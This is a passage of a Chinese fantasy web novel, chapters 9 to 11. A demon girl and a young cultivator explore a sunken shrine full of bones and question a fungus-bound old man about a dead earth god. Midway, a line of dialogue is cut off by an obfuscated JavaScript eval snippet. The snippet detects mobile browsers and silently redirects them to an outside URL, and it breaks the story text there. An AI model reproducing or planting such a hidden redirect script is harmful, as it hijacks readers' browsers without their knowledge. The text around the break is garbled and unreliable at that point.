程净竹并没有看她,几步往前跃下阶梯,阿姮手指勾着发丝,慢悠悠地往前挪了几步,就站在甬道口的阶上,看那修士手握法绳,一个用力,那法绳便如锋刃一般生生截断那粗壮菌丝。 菌丝落地,激起霉菌飞浮,程净竹脚尖点过地上白骨,飞身跃起,那老翁臂膀中再生千根菌丝扭缠一簇,如巨人之手,带起罡风,拂向程净竹。 阿姮手指尖暗红的光影轻微跳动,却见那白衣修士不避不让,双指于虚空中一点,那法绳便随他心念而动,变得更长,缠绕住那粗壮菌丝。 法绳猛然收紧,如簇菌丝陡然化雾,只残存罡风迎面,吹动他鬓边几缕发丝。 阿姮握灭掌中暗光,她神情变得有些怪异,因为方才那一瞬之间,她看见那少年修士周身微泛灵光。 她曾见过那灵光,在她想要抓破他胸膛,取他心脏的时候。 那人不人鬼不鬼的老翁似乎怒意更甚,他嘶哑着声音道:“两百多年,两百多年了……我把自己变成这样,我用那么多的血肉喂出他们来,好不容易找到条路……他们死了,我要如何找土地,如何找土地!” 那老翁念念有词,更加癫狂起来。 阿姮见他长出更多菌丝,缠绕出一簇又一簇,她站在甬道口,几乎能清晰地听见那老翁胸口那颗白色心脏跳动的声音越来越快,越来越响。 缠裹在无数房屋上的菌丝也挪了过来,试图要抓住那少年修士的四肢,缠住他的身体,刺穿他的血肉,然而那少年法绳在手,平淡而悠然地破开那张笼向他的菌丝网,悬身而起,清音响动,不过一刹,一簇簇壮硕的菌丝被拦腰截断,落下去,砸塌了数间房屋,一时尘土飞扬。 正是此时,那老翁浑身又立即生出菌丝,自身则被背后的菌丝往后猛拽,他连数步却咬牙稳住身形,身上的菌丝如利箭一样飞刺出去,那少年却反应灵敏,转过身法绳在手中一挽,银光闪动,菌丝如雨。 老翁没了向前的力,身子一歪,背后的菌丝用力将他强拖回去,眼看便要拖入庙门当中,一道银光刺破纷扬的菌丝,猛然缠住老翁的脖颈。 老翁最先听到玉石碰撞的清音,那种极尽冰冷的触感包裹着他的脖颈,他浑浊的眼球颤动一下,看见那条银色的,像蛇尾一样的法绳,它甚至有细密的银鳞,那银鳞是会像鱼鳃一样开合的,虽然微小,但每一片的棱角都锋利至极。 但很显然,银鳞未开,正说明程净竹并没有要杀他的意思。 阿姮远远望着这一幕,她有些不解:“小神仙,为什么不杀了他呢?” 程净竹却并未回头,也不说话,只一步,一步走上菌丝做的阶梯,而那些菌丝被他踩过,似乎都怀着恐惧,颤颤巍巍地退开,少年走上高台,所有菌丝全部退避,庙宇屋檐上雪白的霉菌也因此而被拂开,露出其下残损的,腐朽的真容。 “你在找土地,”莹润的衣摆随少年步履而动,他走近,在庙门前站定,看着那老怪物,道:“为什么?” 老翁面容阴沉,他依旧可以嗅得到一开始闻到的那股气息,虽然微弱,但它的确存在,老翁的眼珠缓缓转动。 蓦地,他发现高台之下,那原本站在甬道口的年轻女子竟然跳下阶,一只脚,踩一个骷髅头,不沾霉菌地走向高台下。 他感受到那股气息,就在她的身上,就在……他蓦地盯住她腰间那只小巧的玉葫芦。 阿姮脚底的骷髅忽然被菌丝悄无声息地翻了个面,骷髅的嘴部正好衔住她脚尖,阿姮抬起脸,万千菌丝细如尖针,迎面扑来。 阴冷的风拂过她乌黑的长发,她看见高台之上那道雪白的影子动了,她却纹丝未动,不过瞬息,银尾法绳缠住她的腰身,阿姮顺势往来人身上一靠,她明显感觉他顿了一下,一只手却随法绳揽住她的腰,旋身之际,一缕细线般的菌丝锋利地擦过他的衣襟。 也是这一瞬,那擦过他衣襟的菌丝竟然无端起火,从前往后,带起成片的菌丝燃烧,阿姮浑身不使力地挂在少年身上,被他带到甬道口才站定,抬头便见底下已烧出熊熊烈火,程净竹想让阿姮站定,但她一副浑身吓得瘫软的样子,他撂不开手,索性便抓着她一只手腕,转过身,手挽法绳,却见那高台之上的老怪物整个人化为烟雾钻入破烂庙门当中。 满地的骷髅残骸烧起来,那噼里啪啦的声音伴随着越烧越烈的火舌,眼看便要舔舐起那些破旧的房屋,程净竹从怀中摸出一张白符,阿姮看着那白符,上面什么都没写,不过白纸而已,但她看见程净竹双指一松,那白符便轻飘飘地飞出去,底下的火舌吞噬了它的刹那,那片大有烧穿这片地下的烈焰全都灭了个干净。 他身有法宝。 阿姮不知他那浑身的灵光是因为他的衣衫本就是一件法宝,还是他根本就不是凡人? 阿姮还挂在他身上,她垂下眼睛,也许是因为方才与那老怪物打过一场的缘故,他原本严整的衣襟此刻有些松散,透着一股微妙的血气。 也许是那菌丝方才擦过他衣襟,弄伤了他,他领口边缘有一点微红。 他明明是凡人,他有人类的血气。 阿姮嗅到那血气,与林氏的不一样,更不是那被鱼腥味腌透了的老鱼头可比的,甚至于连霖娘的血,都远远比不上。 没有任何人能比得 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程净竹脸上没有什么表情,将自己被阿姮扯乱的衣襟整理好,阿姮再看不见那道血口子,她心中可惜,垂下手,不注意碰到腰间的玉葫芦,一缕烟雾从中浮出,凝成霖娘的身影,她仍是一副惊魂未定的模样。 她可以主动回到葫芦中去,却不能自己出来,只听见外面的声音,却也无法确定外面到底发生了什么,此时乍见面前这副全然陌生的景象,她有些茫然:“这是什么地方?” 阿姮无心理会她,仍盯着那白衣修士。 程净竹对上她的目光,也许是察觉到她有些异常,淡淡道:“阿姮姑娘,你怎么了?” 阿姮仍忘不了那股血气:“我只是有点饿了。” 程净竹手中法绳飞出,上去高台,法绳敲打那庙门,不断发出“叩叩”的声音,见此,程净竹一挥袖,一件衣裳凭空出现,落在地上。 他将其捡起,随后转身披在阿姮身上,阿姮低头,认出这衣裳,分明便是原先那泥巴怪穿在身上的那一件。 她抬起脸,对上程净竹沉静的眼。 “那庙门不好进,穿上它便不碍了,”程净竹只这样一句,并不过多解释,随后看了一眼四周,在远离那些尸骸的角落,有一簇又一簇的菌类,“此处没什么吃的,或者,你想吃山菇吗?” “不想。” 阿姮摇头,又问他:“你给我吃的那个药丸,我还能吃吗?” 她的确想吃点什么,压一压心底的躁动。 他给的那个药丸就很好,甜甜的。 程净竹看了她一眼,从怀中取出一个瓷瓶给她,道:“跟紧我。” 阿姮接过瓷瓶,见他转身便往阶下去,她便也跟上去,一蹦一跳地踩着骷髅头,霖娘缩在后面,面如菜色。 见阿姮吃那药丸吃得不亦乐乎,霖娘便挨着她道:“程仙长的仙药必然是好东西,阿姮,给我也尝尝吧!” 阿姮十分爽快地递给她一颗。 霖娘尽量不看脚下踩的什么,将那药丸塞进嘴里,她正准备干吞下去,但舌尖感知到一点熟悉的味道,她没吞,又细品了一下。 “嗯?” 霖娘满脸疑惑。 “这……真的不是糖丸吗?” 10.第10章 “你们人类的药,不能是甜的味道吗?” 阿姮说着,又往嘴里扔了一颗。 她说是药,却拿它当饭吃,霖娘跟在她后头,说道:“……倒也没人规定药的味道一定得是苦的,可一般来说,只要是药,哪有几味甜的。” 但霖娘又想,这程仙长既是外乡之人,说不定外面的药,还真是甜的多。 唇舌的焦躁略微减轻,阿姮抬起头,那少年修士已在数步开外,那些早已退开的雪白菌丝此时仿佛被恐惧所制,不得不颤抖着千丝万缕的身躯来到少年脚下,化为阶梯,通向高台。 他明明只是一个会流血的凡人。 但阿姮望着他高大的背影,她看不透他这副血肉躯壳之下究竟蕴藏什么秘密,她往上走,却感受到轻微阻碍,垂下眼帘,阿姮看见极细的菌丝在疯狂拉扯她的衣摆。 准确地说,是在拉扯她身上所披的这件颜色灰暗,极其丑陋的,男人的衣裳。 阿姮方才只顾按耐自己对鲜血的渴望,但此刻,她抬起手来,略微嗅了一下衣袖,除了那潮湿微腥的泥巴味道,似乎还有什么别的味道沾在上面。 那并不好闻。 阿姮皱了一下眉头。 此时上了高台,她十分想扯下来这件衣裳扔开,但因前面那修士,她还是按捺了下来。 高台之上,四面八方来风,但阿姮放眼望去,只一片灰蒙蒙的残垣,看不出哪里有什么出口。 程净竹一抬手,那将庙门扣得砰砰作响的银色法绳顿时回到他手中,晶莹的宝珠叮当乱晃,他抬眼一扫,面前不过两扇木门,或因左边已经塌成废墟,以致于门楣都斜了,两扇门松松垮垮的,明明摇摇欲坠,却偏偏抵得住法绳叩门。 那门上无它,只两张彩画,彩画经年,颜色褪了不少,且面目似乎很早便被蛮力撕去,如今只能看出那一左一右,身着斑斓甲胄,腰佩朱红宝饰,手托战戟的身躯。 “这是什么?” 阿姮走近,好奇地问道。 “左神荼,右郁垒。” 程净竹声音平淡:“人间信仰的门神。” 人类信仰的门神? 阿姮回过头,见霖娘一副懵然之状,立即明白黑水村中并无此信仰,而她也的确没有在村中见过这样的彩画。 可为何偏偏这里会有门神之像? 再将目光挪回程净竹身上,阿姮见他抬起手来,在他手掌一触碰到那单薄门板的刹那,残损的彩画震颤着,抖落缕缕灰尘。 阿姮眼中暗红的颜色微动。 她分明在他掌中又看见那淡淡的灵光,那灵光甚至将打卷儿的彩画撑得平整极了,随后门板“嘎吱”一颤,倒下去。 也许是它“砰”的一声倒在地上发出的震颤所致,另一扇门板发出哀鸣,紧跟着也倒下去,寿终正寝。 仿佛此前它们面对银尾法绳的坚不可摧不过只是荒诞的幻觉。 烟尘飞散,这小小庙宇已然无门,但外面伴随菌丝而生的浅淡莹光却并不能照亮庙内,庙门里黑洞洞的,像一只蛰伏的野兽张大了口。 霖娘害怕极了,但偏偏阿姮兴致勃勃,毫不犹豫地跟着程净竹走了进去,没办法,谁让她根本离不开阿姮半步呢,霖娘苦着脸,飘了进去。 庙中黑黢黢的,伸手不见五指,阿姮走了几步,脚下似乎不是什么光滑地面,她一只脚甚至卡在了什么缝儿里。 没有光线,对于阿姮而言并没有什么大不了,她低垂眼帘,几乎是在她看清脚下的刹那,庙中漆黑倏尔被昏黄的火光冲淡。 泛黄的光影几乎笼罩整间庙宇,照见阿姮脚下森然白骨,它们被堆放得很整齐,骷髅挤着骷髅,脊骨挨着脊骨,被菌丝勾勾缠缠,铺成这白骨地面,竟然还算平整。 虽说高台之下,遍地都是白骨,但他们是散乱的,是一个一个的个体,而这庙中的尸骨,则是被人一根一根分离,归类,堆砌起来。 何况高台底下被霉菌覆盖了很多,霖娘根本就没敢多看,此时猝不及防撞见脚下这片白骨地,她瞳孔震颤,连尖叫也忘了。 阿姮抬眸,望见那少年修士手中一纸白符,尖端燃着一簇火,映照他神色平静的面容,他看了一眼阿姮卡在白骨缝里的脚:“阿姮姑娘,要帮忙吗?” “要。” 阿姮将才挪出来一点的脚塞回去,准备等他来救,然而脚下“咔哒”一声脆响,她竟将几只白骨爪子踩了个粉碎,细缝儿变成了个比她脚还大的深坑。 “看来是不需要了。” 程净竹说道。 阿姮有点遗憾没控制好力道,若无其事地将脚挪了出来。 那衣衫雪白洁净的年轻修士手中捧着一簇火光,那火光照见这逼仄庙宇正中一尊硕大的泥塑像。 昏暗的火光,映照其浑身的黑。 那不像是被精心涂抹匀称的颜色,而有一种诡异的斑驳,光越近,越显出那种锈迹似的斑驳。 程净竹仰头。 这神像竟是有头的,祂脸上也是那种斑驳的黑,深浅不一的覆盖了一层又一层,那五官,那长须,都被这种颜色浸透了,甚至眼睛里,黑洞洞的。 这种浓厚的黑,似乎使得这神像本该无悲无喜的脸,无端呈出一种阴森而痛苦的情态。 霖娘望见那神像的脸,她整个身形都定住了。 一种奇怪的,甚至有些熟悉的感觉将她笼罩,但她只是茫然地站立,直到“滴答”的声音一响,她觉得自己脸上有一点湿润。 那湿润竟然灼痛了她的脸。 她立即伸手抹了一把脸,看见手心里浊黑的颜色,猛地抬起头,霖娘望见那神像黑洞洞的眼中湿润的流液再度滑落。 霖娘惊慌之下,踉跄后退数步。 霖娘沾过那流液的脸红了一片,然而阿姮回过头,看向那年轻修士,他手指沾了一滴黑色流液,但他神色如常,看起来并不像霖娘那样。 “是血。” 程净竹的声音响起。 对,是血。 自阿姮踏进门来,她便嗅到这浓厚的血味,哪怕那血已经过了很长的时间,不再鲜红,变得浊黑,她也依旧辨得出,这尊神像身上附着的斑驳浊黑,并不是什么染料,而是人血。 祂的脸,被人血一层一层抹过。 祂的身躯,被人血一寸一寸浸泡过。 可,祂便是山神吗? 程净竹将掌中火移向神像旁边,那火光映照出墙壁上竟有一幅壁画,比起门板上的门神彩画,这壁画还算完整。 画中彩凤鸾车,祥云飘飘,数名广袖女娥簇拥一云鬓高髻,华服宝饰的女子扶云而去,而云霞之下,则是巍峨露台,台上金樽玉馔,丝竹管弦,更有一身着玄黑金龙衣袍,头戴冕冠的男子俯身作拜。 而那男子手中,捧有一简。 程净竹静默地将壁画扫了一眼,忽觉衣袖一紧,他目光顺着那纤细的,白皙的手往上,与阿姮相视。 阿姮道:“小神仙,我害怕。” 霖娘气若游丝,声音自阿姮身后响起:“害怕的时候谁笑啊?你别笑了,我才害怕呢。” 阿姮不明白人类害怕的时候为什么不会笑,但她还是收敛了点,学着紧抓着她衣角不放的霖娘瑟缩起身体,问程净竹:“这壁画是什么意思?” 程净竹凝视壁画,道:“相传,六百年前,闾国的国君冯绰在国都皇宫中宴请天帝之妹元真夫人,元真夫人乘彩凤鸾车,携仙娥披绮霞而至,宴中,冯绰意欲向元真夫人求取长生之道,而元真夫人则笑说,冯绰身为国君,天下四海无不宾服,以达人间之极,何必执着长生?” 阿姮并不知什么天帝,但她看着那壁画中被仙娥簇拥,华服宝饰的女子,想必她便是那元真夫人了,她问:“元真夫人没有给他长生吗?” 程净竹摇头:“没有。” “那这是什么?”阿姮的手指点在那姿态恭谨,微微俯身的君王冯绰手中的书简。 “一幅图。” “什么图?” “囊括天地人三界,乃至三界之外漂浮之境的——山海图。” 程净竹站直身体,那白符尖端的火光映照他清冷的眼眸:“从此,此图被奉为闾国国宝。” “一幅图而已,如何便是国宝了?” 霖娘忍不住探头将那壁画扫了一眼,仍紧紧抓着阿姮的衣角。 阿姮没回头,俯身捡起几缕参差不齐的菌丝,而画着壁画的这面墙壁底下,还压着些白色的碎屑。 程净竹垂眸瞥了一眼,伸手摸向壁画,然而手指接触本该坚实的墙壁,那壁画竟然就像是映照在水面的影子,他的手指轻点水面涟漪,壁画随之而变得朦胧。 原来这面壁画,本是一道幻术法门。 程净竹转过脸,看向阿姮:“走。” 阿姮见他回过身去,往前迈了两步,身影便半融于壁画当中,她饶有兴致地跟上去,穿过壁画,又窄又长的甬道昏黑。 这里几乎没有光线,阿姮甚至感受到了其中好像还有什么法门,因为这法门,连她这双妖邪的眼,越是往里走,便越是难以看清前面的路。 阿姮一个不注意,鼻尖骤然撞上前面那人的后背。 她抬手揉鼻子,感觉前面的人停了下来,这里幽暗不见光,但阿姮感觉他似乎转过来,在看她似的。 “小神仙,你看得见我吗?” 阿姮问他。 一片漆黑中,阿姮敏锐地听见他轻微的呼吸声,片刻,才听他淡漠的嗓音落来:“看不见。” 他明明是这样说的。 但阿姮仍有一种被他静默注视的感觉。 小小一个插曲过后,阿姮抓着程净竹的衣袖,跟在他后面走。 “阿姮,你说,这里会不会……” 霖娘亦步亦趋:“会不会便是从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14125733|148940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的黑水镇?” “你才知道啊。” 阿姮声音轻飘飘的。 “这里不会有第二个镇子了,”霖娘谈及黑水镇,便有些失神,甚至忘了害怕,“那外面那些尸骨,他们……全都是从前的镇民。” 霖娘喃喃:“从没有人敢靠近这里,想不到黑水镇已经沉到地下了……” 她正失神,却不料前面阿姮忽然停了下来,霖娘差点被她撞散成烟,她疑惑地喊了声:“阿姮?” 迎面有风,阴冷极了。 阿姮在原地站定,她抬起来一只手,那掌中空空,原本被她一直抓着的那截衣袖,如轻烟般,在不知不觉的顷刻,消失不见了。 “小神仙?” 阿姮轻唤。 她的声音清晰回荡,而并不见人回应。 “阿姮……程仙长不见了?”霖娘这时反应过来,脸色大变。 阿姮没有理会霖娘,她脸上惯常的笑意消失,只不过在原地停驻片刻,她便迈开步子,往前走去。 霖娘怕得厉害,可是到了这里,早就没有回头的路了,她只能硬着头皮跟上阿姮,摸着黑走了一段路,虽什么也看不见,但霖娘能感觉到周围似乎开阔了些。 忽然一阵突兀的水声响起。 霖娘被前面停下的阿姮撞散成一缕烟雾,但很快,她再度凝起身形,悬在半空,抬头只见淡绿的莹光幽幽浮浮。 那莹光越来越多,越来越多。 积聚成昏暗的光线,照亮这片阴冷潮湿的洞穴。 也是此时,霖娘低首,方才看清阿姮一脚踩在一石潭中,那谭中之水竟然清澈极了,阿姮将脚抬起,整只绣鞋都被底下的泥沙浸透。 阿姮踢掉了那只鞋子,再看自己脚上另一只,索性也踢掉,霖娘看着那双被水冲走的绣鞋,痛心疾首:“那是我娘给我做的最好看的一双……” 阿姮赤足站在水中,无比清澈的潭水在飞浮的莹光之下,照出她的影子,但那影子却不是人的躯壳,而是一团朦胧的雾。 “阁下果真与我同道。” 一道嘶哑的,苍老的声音忽然响起。 阿姮听出他的声音,她抬起一双暗红的眼,视线在那些幽幽浮动的莹光之间来回:“什么同道?” 那老翁的声音再度响起:“我知道阁下根源不凡,你一定看得出来,此地生灵尽绝,毒瘴肆虐,并没有什么好东西供你享用,你又何必来这儿呢?” “是,你这里没有什么好东西。” 阿姮点点头,唇边浮出一分笑意:“所以,与我一同来的那个人呢?” 霖娘看着阿姮,她分明笑盈盈的,但霖娘却觉察出她那副笑容底下,实则是真切地生气了。 正是此时,阿姮掌心红雾跳跃如焰,转瞬飞出,分散而开,迅速灼穿一片淡绿莹光,烧得那隐在暗处的老怪物痛叫一声。 不过片刻,红云烈焰照出他完整的,皮包骨的身躯,以及他胸口的白色心脏,那些菌丝是他的脉搏,它们牵扯着他的心脏,贯穿他的后背,将他悬空在宽阔的穹顶之上。 “女娃娃!你难道就不想离开这片黑山黑水?”他喘息着,似乎惊魂未定,低头看向那石潭中,赤足踩水的年轻女子,她身上披着一件宽大的旧衣裳,更显她身姿纤瘦袅娜。 那乌黑的长发散垂,更衬她皮肤苍白,而偏偏她那双眼,是不属于人类的暗红。 红云烈焰熊熊燃烧。 老翁干枯的脸皮几乎要被它烤得龟裂。 阿姮神色微动,凝视他:“你说什么?” 那老翁浑浊的目光倏尔定在阿姮背后的霖娘身上,他的视线在那两张一模一样的脸之间来回游移:“你一定想出去吧,毕竟,这黑山黑水极荒之地,于人类,于妖邪,都不是一个好地方。” “外面多好啊……外面的天地更辽阔,你没见过外面的河山,你不知道那片土地有多么富饶……” 老翁微微失神,像是在怀念着什么,但很快,他又盯住阿姮,像是想要看穿她这个妖邪的欲望:“离开这里的机缘就在你身边,怎么你却……浑然不知吗?” “你什么意思?” 阿姮轻抬下颌。 那老翁低低地笑,那双眼睛转而看向那身影朦胧的霖娘,他双目中似乎裹满了恨,夹杂无尽的怒,如狂风骤雨砸向霖娘,但他的声音却变得很轻:“答案,就在你眼前啊。” 霖娘被那老翁仿佛能洞穿身躯的目光吓了一跳,阿姮回过头,一双暗红的眸子看了她片刻。 阿姮脸上再没有一丝一毫的笑意。 这意味着,她的耐心已经告罄。 她抬首,盯住那浑身结满菌丝的老怪物:“老东西,我再问你一遍,与我一道进来的那个人呢?” “你最好马上还给我。” 满掌红云烈焰,映照她苍白而漂亮的面容: “他是我的东西。” 11.第11章 黑水村的日光总是稀薄的,此时方才过午,天色便已呈出一种裹着暮气的灰暗,彩绳走入屋中,那老村长正在窗边坐,身边站着一人,那同样是个耄耋老人,干干瘦瘦,竹竿似的,无论是眼尾还是嘴角都天生向下耷拉,不苟言笑。 他正整理着药箱,彩绳已经习惯他寡言又古怪的样子,问公公道:“您好些了吗?” “人老了,毛病自然而然就多一些,又有什么好不好的。” 老村长抬起眼睛看她:“不过是有一日算一日罢了,怪只怪当初祖辈们逃到这里来,当中却没个郎中,如今只有云童会治些头疼脑热,原先好歹还有个柳禄胆子大,肯钻研这些,还真被他琢磨出些门道来,只可惜……” 老村长说到这儿,止了声音。 但彩绳知道他在可惜什么,可惜那柳禄醉心草药,生出离开黑水村,出去寻药的心思,可惜他因此而死。 “他儿子柳小宁,承他医术,却二三十岁就得青骨病死了,剩了对孤儿寡母靠村中人救济过活,那柳行云学了他爹的本事,原先村里人都找他治病,哪知道他娘一死,他就没心思给人治病了,反而总想着要出去……”彩绳说到这里,声音里难压怒意,“他明明背叛了山神,您为何一直坐视不理?难道不应该将他找到,送去山神庙中?” “彩绳。” 老村长打断她,又咳嗽了几声,彩绳连忙上前递了一碗热茶,轻拍他的后背,老村长这才缓过气来,道:“柳小宁是救过你郎君性命的。” 彩绳端着茶碗的手一僵。 “可惜我儿命薄,挺个几年,还是去了,”老村长看着她,叹了口气,伸手轻拍她的手背,“这么多年,苦了你了。” 老村长的掌心粗粝而发冷,指腹在她手背轻轻摩挲了一下,彩绳没由来的心中一颤,古怪的感觉爬上心窍,但她抬头,公公却仍以一种慈蔼的目光看她:“早晨的事,我听云童说了。” 彩绳将碗放下,道:“您知道了?那程仙长去旧镇的事……” 稀薄的日光充斥满窗,映照老村长一张枯瘦的脸:“那外乡人不知是如何到了咱们这里,我问过他,但他什么也没有说。” 老村长双目浑浊,但神光却依稀矍铄:“我只担心一件事。” “您担心什么?” 彩绳问道。 老村长举目眺望,远处黑山如墨,茫茫白雾皴擦:“外面的人进来了,而里面的人,仍有想要出去的……当年山神发怒,所以黑水镇成了黑水村,若山神再发怒,那么黑水村……又会变成什么样呢?” “若山神果真发怒,那也是柳行云的过错!” 彩绳跪下去,望着老村长:“公公,先前那泥妖向咱们求一件宝衣,咱们给了他,也因为这个,我与他说好,要他在村中作乱,好让村邻看清那程仙长根本不是什么神仙,我再顺势赶走他,可哪知道,那泥妖根本就是花架子,非但没能赶走程仙长,我想让他找出柳行云这件事也落了空。” “我实在不明白,”彩绳垂着眼帘,神情冰冷,“黑水村就这么大的地界,他一个活生生的人,怎么就找不到……总不能是凭空消失了。” “彩绳,你心太躁。” 老村长咳嗽了两声,道。 “公公。” 彩绳眉头拧起来:“柳行云背叛山神,我们理应将他送去山神面前,交由山神大人处置,若我们再找不出他,一旦山神发怒,谁说得清我们黑水村人会不会因此而受到迁怒?那些生出背离之心,想要离开这片净土的人是该死,可那些从没想过离开的村邻呢?他们本不该被柳行云牵连。” “都说你心肠硬。” 房中静了片刻,老村长缓缓掀起松弛的眼皮,将目光落回她身上,道:“他们错怪你了。” “公公……” 彩绳张了张口。 “若不是先辈找到这片净地,我们这些人只怕都没有机会来到这个世上……这两百多年的安宁,是山神赐给我们的,我们的命,就是山神的。” 老村长双手撑在拐杖上,他看着彩绳,说话间牵动脸颊皱痕更深:“天要下雨,还是要下雪,谁也拦不住,我们没有什么办法,眼下最重要的,是赵家。” “赵家?” 老村长点点头:“老鱼头是不是赵家的霖娘杀的,只怕是说不清了,那霖娘跟着姓程的外乡人去了旧镇,十有八九……是出不来了。” “正是清明,毒瘴更浓,活人去了那儿,哪里还能有出来的机会?”老村长轻轻叹气,又接着道,“老鱼头一死,如今村中正是人心惶惶的时候,你和云童去赵家看看,别让村邻在赵家生事,还有,你更要看着那赵家夫妇。” “看着……他们?” “对,看着他们,”老村长的语气十分平常,但那枯皱的眼皮却多了几道锋利的褶痕,“他们若知道霖娘去了那儿,必然是要跑去的,可西边,是乱葬岗,活人去了,只有死的份儿。” 彩绳自认了解老公公,为了黑水村,他操心惯了,甚至旁边那座山神庙,也是他一手操办建起来的。 白发苍苍之年,他失去儿子,却不消沉,甚至甘心为山神守庙,持戒茹素一生。 彩绳本就是个利落的人,听见公公这么吩咐,便立即点头应了:“我这就去。” 她说着,便要起身,抬头之际目光却不经意落在老村长的身上,她动作一顿,而老村长察觉她的目光,垂下眼帘,只见自己袖子边有一片黑色的,湿润的痕迹。 正是清明雨繁时节,天边雷火倏尔挑动,轰隆的响声倏尔一炸,彩绳吓了一跳,抬起脸,窗外飞火流光,闪烁在老村长沟壑纵横,皮松肉少的脸上,一片阴冷的光。 “你还是这么怕雷火。” 老村长伸出手,那是一只粗粝的,布满褶子的手,轻轻地扶了一下她乌黑的鬓发,彩绳脸色微白,胸中心跳凝滞,不知为何,她盯住那只手。 那手指因年老而龟裂出的干皮裂缝里,是黑色的,湿润的痕迹。 她嗅到一丝土腥味。 “别怕,那是山神的雷火。” 老村长苍老的声音裹着一种能够安抚她胸中所有寒刺的温和:“它永远不会伤害你。” 西边,惨雾浓云,天地共色而山水不复。 毒瘴浑浊极了。 而地下的洞穴潮湿又阴冷,阿姮不知这底下到底分布着多少地洞,只觉四周都有风吹来,那风吹得她掌中烈焰更盛,而那悬在半空中的老怪物却哈哈笑道:“有趣!实在有趣!” 他用那双浑浊的眼睛看着阿姮:“你胆子真大,竟盯上一个修士,你不知修士是很难缠的么?若他识破你的身份,你说,他会不会杀了你?” 阿姮手指微动,红云跳跃,有大涨之势。 那老怪物分明在百步之外,脸颊却有一种强烈的灼痛之感,他心中惊骇,终于意识到自己小瞧了这女子,他不再硬碰硬,立即缓和了语气,道:“他不是常人,我只是略施幻术,让你们分了路而已,我困不了他多久,只是我实在有些话想与你说。” “你想说什么?” 阿姮道。 “你还没有回答我。” 老怪物看着她:“你到底想不想出去?你若想出去,我可以告诉你办法,但你,必须要将我从这里带出去,我……” 他那张枯瘦的脸皮忽然狠狠一颤,眼中迸发着强烈的情绪,阿姮看不懂他的那些情绪,只听他又道:“我一定要找一个人。” 阿姮歪头,想起她与程净竹走到甬道口,听见的那几声呼唤,她道:“土地?” 霖娘躲在阿姮身后,本就分了神在想方才那小庙中浑身漆黑的神像,此时忽然听见阿姮这样一声,她立即恍然失声:“对!就是土地!” 阿姮回头看她,霖娘立即对她道:“阿姮,方才我才见那神像便觉得有些莫名的熟悉,可我们村中按理说是不能供奉除山神外的任何神像的,可我刚刚想起来,我的小时候,在我家中见过祂!” “你家中?” 阿姮眉头微挑。 霖娘点头:“山神的神像是没有头的,但我小时候见过的那尊神像,祂不但有头,甚至衣着,拐杖,还有胡须,神态,都跟方才那小庙中的一样!” “你家中为何会供奉土地?” 阿姮问她。 霖娘摇头,说:“我不知道,我就见过那一回,后来就再没见过了。” 阿姮转过脸,看向那老怪物:“你想找土地?” 那老怪物却看着霖娘,半晌,幽幽道:“不,我不必找祂了。” “为什么?” 阿姮问道。 “因为,”那老怪物的目光,再度落到阿姮身上,却仿佛只是在看她穿在身上的那一层皮囊,“祂已经死了。” “神仙……也会死吗?” 霖娘愣了。 “神仙当然也会死,”老怪物忽然笑起来,话锋却陡然一转,“否则,你也就不会存在了。” “什么意思?” 霖娘眼睫一颤。 “你们见到的那座庙,根本不是什么山神庙,而是土地庙。” 老怪物的声音又低又哑:“那是两百多年前,祂初来乍到,乃是个一穷二白的地仙,便托梦于我,让我给祂修一个庙,说只有这样,他的神职才能落在这儿,天庭才能感知到这儿。” “这么说来,你活了两百多年,”阿姮一手托着烈焰,另一只手勾着一缕发丝,“却又是个不折不扣的——人?” “是,”老怪物的声音变得阴沉,说,“我曾是人。” 阿姮先是看了一眼霖娘,又问他道:“你为何见到霖娘,便肯定,祂已经死了?” “因为祂是地仙。” 那老怪物脸上的神情似乎没有丝毫起伏,他盯着霖娘:“祂曾告诉过我,血脉,是人类的根基,不是神仙的,神仙身在七情六欲之外,法相既生,自然与人不同,更不需要血脉,但因为祂是地仙,地仙长居人界,只有一种情况会孕育自己的血脉。” 阿姮立即明白过来,点点头道:“只有祂死了。” “不错,地仙若身死,则化清气,那清气遇风成风,遇水成水,风是阳春之风,催生草木,水则是至净之水,润泽万物,但若祂有了妻子,那么妻子则会因此清气而孕育出祂的骨肉。” 老怪物说道。 “怎么可能……” 霖娘明明只是一只水鬼,明明她没有心,可她仍有一种心要跳到嗓子眼的感觉,她半透明的身形有些不稳:“这怎么可能呢?” 那老怪物见她这副情态,这才真正确定,她竟然是真的什么都不知道,一时间,老怪物忽然怪笑起来:“席献!你可真是厉害……竟然所有人,所有人至今都在你的彀中!” “席献?” 阿姮已经十分不耐,她掌中的红云更是按耐不住地要往那老怪物身上扑,那火星子落下去,瞬间将地上的菌丝烧成了灰烬。 那老怪物察觉到这份不耐的杀意,他立即指着阿姮身上那件衣裳:“你身上若不裹着那件衣裳,那庙门上的门神图就会灼伤你,但你那衣裳,是土地的衣裳。” 阿姮看了一眼身上这件颜色丑陋的衣裳:“所以,这又跟你口中的席献有什么干系?” “因为,倘若席献还活着,那么就只可能是他杀了土地!” 那老怪物胸口的白色心脏跳得越来越剧烈,那声音像是雷声,他呼吸越重,身上粗壮的菌丝越是缠他更紧,他的脸皮变得狰狞:“你不想出去吗?你不想解开你脱不下这身皮囊的秘密吗?若想,你便带我出去!” 阿姮承认,她真的很想知道自己为什么脱不下来这身皮囊,但她很讨厌这个老怪物的这番叫嚣威胁,她手掌一抬,烈焰张扬飞出,若人的手掌般,狠狠抽了一巴掌那老怪物的脸,抽得老怪物半张脸皮松松垮垮往下掉,他连忙抬手粘回去,嘶吼道:“不要打脸!” 红云灼烧,又一巴掌抽偏了那老怪物的脑袋。 那老怪物浑身菌丝抖动,菌丝慌张地去粘合他另一边的脸皮,他仍吼道:“都说了不要打脸!我要出去!我要席献亲眼看着我这张脸!” “你那张脸也没什么好看的。” 阿姮轻抬下颌:“老东西,若你不将你知道的都说出来,我今日便撕下来你的脸皮,烧穿你这副烂骨头。” 阿姮作势抬手,霖娘却忽然抓住她臂弯,道:“阿姮不要!” 阿姮侧过脸,看向她。 